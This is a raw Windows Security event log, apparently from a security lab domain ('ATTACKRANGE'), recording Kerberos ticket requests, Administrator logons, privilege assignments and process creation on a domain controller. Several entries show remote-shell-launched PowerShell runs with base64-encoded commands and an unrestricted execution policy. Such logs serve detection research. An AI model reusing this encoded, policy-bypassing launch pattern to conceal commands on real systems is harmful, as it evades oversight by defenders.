Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252918
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252917
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D420

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd58
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xaf4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252916
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D420

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xaf4
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x117c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252915
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17F7B6

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252914
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17F7B6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{33719BB1-66F7-C551-6AF6-7CD277AE7968}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252913
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{33719BB1-66F7-C551-6AF6-7CD277AE7968}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252912
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{33719BB1-66F7-C551-6AF6-7CD277AE7968}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252911
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252910
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D420

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x117c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12dc
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252909
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D420

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12dc
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1390
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252908
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17F5BA

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252907
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17F5BA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{33719BB1-66F7-C551-6AF6-7CD277AE7968}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252906
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{33719BB1-66F7-C551-6AF6-7CD277AE7968}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252905
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{33719BB1-66F7-C551-6AF6-7CD277AE7968}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
